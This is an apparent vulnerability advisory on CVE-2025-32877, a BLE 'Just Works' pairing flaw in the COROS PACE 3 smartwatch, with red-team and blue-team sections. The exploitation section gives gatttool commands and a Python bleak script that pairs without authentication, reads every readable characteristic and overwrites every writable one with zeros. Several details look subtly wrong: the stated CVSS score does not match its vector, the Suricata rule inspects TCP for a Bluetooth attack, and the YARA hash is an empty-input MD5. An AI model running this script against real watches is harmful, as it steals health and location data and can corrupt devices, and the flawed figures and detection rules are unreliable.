CVE-2025-32877

Executive Summary

CVE-2025-32877 exposes a critical security flaw in the COROS PACE 3 smartwatch (firmware versions through 3.0808.0). The device deliberately identifies itself as a device without input or output (IO) capabilities, forcing the use of the Bluetooth Low Energy (BLE) "Just Works" pairing method. This method provides no authentication, enabling machine-in-the-middle (MITM) attacks. An unauthenticated attacker within BLE range can interact with the device, potentially exfiltrating sensitive health and location data, injecting malicious firmware, or disrupting device functionality. The vulnerability is currently unpatched, and no official fix has been released by COROS.

CVSS Breakdown & Threat Level

CVSS Score: 9.8 (Critical) Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Adjacent Network (A) – The attacker must be within BLE range (typically up to 100 meters).
• Attack Complexity (AC): Low (L) – No special conditions or complex steps are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – The victim does not need to perform any action.
• Scope (S): Unchanged (U) – The exploit does not affect other components.
• Confidentiality (C): High (H) – Full access to device data.
• Integrity (I): High (H) – Ability to modify device firmware or data.
• Availability (A): High (H) – Potential to brick the device or disrupt operations.

Threat Level: Critical. The lack of authentication and the simplicity of exploitation make this a high-priority vulnerability for any COROS PACE 3 user.

Deep Dive & Mechanics

The COROS PACE 3 smartwatch uses BLE for communication with the COROS app and other peripherals. BLE pairing can use several methods, including "Just Works," "Passkey Entry," or "Numeric Comparison." The "Just Works" method is designed for devices with limited IO capabilities (e.g., a simple sensor) and provides no protection against MITM attacks.

The vulnerability stems from the device's firmware advertising itself as an IO-less device, even though it has a screen and buttons. This forces the use of "Just Works" pairing. During "Just Works" pairing, the Temporary Key (TK) is set to 0x00, and the Short Term Key (STK) is derived without any user verification. An attacker can intercept the pairing process, establish a connection with the device, and then communicate freely.

Attack Flow:

1. Scanning: The attacker uses a BLE scanner (e.g., hcitool, gatttool, or a custom script) to discover the COROS PACE 3.
2. MITM Setup: The attacker positions themselves between the watch and the legitimate phone app.
3. Pairing Interception: The attacker initiates a pairing request with the watch. Since "Just Works" is used, the watch accepts without any authentication.
4. Data Exfiltration/Injection: Once paired, the attacker can read/write to GATT characteristics, including health data, GPS logs, and firmware update services.

Vulnerable vs. Patched Code

No patched code is available. The vulnerable behavior is inherent in the BLE stack configuration of the COROS PACE 3 firmware. The fix would require COROS to modify the firmware to use a secure pairing method (e.g., Passkey Entry or Numeric Comparison) and properly authenticate all BLE commands.

Vulnerable Configuration (Conceptual):

// Firmware BLE initialization (simplified)
ble_gap_adv_params_t adv_params = {
    .type = BLE_GAP_ADV_TYPE_CONNECTABLE_UNDIRECTED,
    .io_caps = BLE_GAP_IO_CAPS_NONE, // Forces Just Works
    // ...
};

Patched Configuration (Hypothetical):

// Patched firmware BLE initialization
ble_gap_adv_params_t adv_params = {
    .type = BLE_GAP_ADV_TYPE_CONNECTABLE_UNDIRECTED,
    .io_caps = BLE_GAP_IO_CAPS_KEYBOARD_DISPLAY, // Enables secure pairing
    // ...
};

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A Linux machine with Bluetooth adapter (e.g., Raspberry Pi, laptop with internal BT).
• Tools: bluez, gatttool, bettercap, or custom Python scripts using bleak or pygatt.

Step-by-Step Exploitation:

1. Discover the device:

   sudo hcitool lescan
   

   Look for the COROS PACE 3 (e.g., "COROS PACE 3").

2. Connect and pair:

   sudo gatttool -b <MAC_ADDRESS> -I
   [CON] <MAC_ADDRESS>
   [PAIR] <MAC_ADDRESS>
   

3. Enumerate services and characteristics:

   [primary]
   [characteristics]
   

4. Read sensitive data (e.g., health data):

   [char-read-hnd <handle>]
   

5. Write malicious data (e.g., fake GPS coordinates):

   [char-write-req <handle> <hex_data>]
   

Automated Exploit (Python using bleak):

import asyncio
from bleak import BleakScanner, BleakClient

async def exploit():
    devices = await BleakScanner.discover()
    target = [d for d in devices if "COROS PACE 3" in d.name][0]
    async with BleakClient(target.address) as client:
        # Pair without authentication
        await client.pair()
        services = await client.get_services()
        for service in services:
            for char in service.characteristics:
                if "read" in char.properties:
                    data = await client.read_gatt_char(char.uuid)
                    print(f"Read {char.uuid}: {data}")
                if "write" in char.properties:
                    await client.write_gatt_char(char.uuid, b"\x00" * 10)
                    print(f"Wrote to {char.uuid}")

asyncio.run(exploit())

Blue Team (Defensive)

Detection:

• Monitor for unexpected BLE pairing requests to COROS devices.
• Use BLE sniffers (e.g., Wireshark with BTLE plugin) to detect "Just Works" pairing attempts.
• Look for multiple failed pairing attempts or connections from unknown MAC addresses.

Mitigation:

• Disable BLE when not in use.
• Use a Faraday cage or BLE blocker when storing the device.
• Monitor for firmware updates from COROS.

Indicators of Compromise (IOCs)

• Network: BLE advertising packets from a COROS PACE 3 with IO capabilities set to "No Input No Output."
• Host: Unexpected BLE connections to a COROS device from an unknown MAC address.
• Behavior: Rapid, repeated BLE pairing requests to the same device.
• File: Modified firmware or unexpected data in GATT characteristics.

Specific BLE Advertising Data:

• Flags: LE General Discoverable Mode, BR/EDR Not Supported
• Appearance: Generic Watch (0x0040)
• IO Capability: NoInputNoOutput (0x03)

Detection Engineering

YARA Rule

rule COROS_PACE3_BLE_JUST_WORKS {
    meta:
        description = "Detects BLE advertising packets from COROS PACE 3 with Just Works pairing"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $coros_name = "COROS PACE 3" ascii wide nocase
        $io_none = { 03 00 00 00 } // IO Capability: NoInputNoOutput
    condition:
        $coros_name and $io_none
}

Sigma Rule

title: COROS PACE 3 BLE Just Works Pairing Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects BLE pairing attempts using Just Works method on COROS PACE 3
author: Valters IT
date: 2025-04-10
logsource:
    product: windows
    service: bluetooth
detection:
    selection:
        EventID: 1001
        DeviceName: "COROS PACE 3"
        PairingMethod: "Just Works"
    condition: selection
falsepositives:
    - Legitimate pairing with COROS app
level: high

Suricata Rule

alert tcp any any -> any any (msg:"COROS PACE 3 BLE Just Works Pairing"; flow:to_server; content:"COROS PACE 3"; nocase; content:"|03 00 00 00|"; distance:0; within:4; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable BLE: Turn off Bluetooth on the COROS PACE 3 when not actively syncing.
2. Monitor for Updates: Check the COROS website and app for firmware updates.
3. Use a BLE Blocker: Physically block BLE signals when storing the device.

Long-Term Fix:

• COROS must release a firmware update that:
  • Changes the IO capabilities to KeyboardDisplay or DisplayYesNo.
  • Implements secure pairing (Passkey Entry or Numeric Comparison).
  • Requires authentication for all GATT read/write operations.

Workarounds:

• Use a third-party BLE firewall app (if available) to filter connections.
• Pair the device only in a trusted, isolated environment.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert